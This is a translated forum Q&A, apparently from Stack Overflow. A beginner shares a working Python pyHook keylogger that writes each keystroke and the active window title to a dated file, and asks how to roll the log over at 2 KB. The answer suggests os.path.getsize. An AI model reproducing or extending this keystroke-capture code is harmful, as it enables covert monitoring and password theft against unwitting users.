Использование собственного кода в сообщениях насоса pyhook

Я хочу проверить, больше ли файл, в котором я пишу ключи, превышает 2 КБ. Если он больше 2 КБ, мне нужно сделать другой файл и перестать писать в этом. Я новичок в python, пожалуйста, помогите мне в этом. Пожалуйста, укажите, где я могу использовать код для проверки, если файл больше 2 КБ.

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime 
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path =  p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
    def OnKeyboardEvent(event):
        global lastWindow
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            print window 
            lastWindow = window
        print key
    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.HookKeyboard()
    pythoncom.PumpMessages()

Надеюсь, вы можете помочь


person user2137297    schedule 21.03.2013    source источник


Ответы (1)


вы можете использовать .getsize.

>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L
person user2351394    schedule 28.05.2013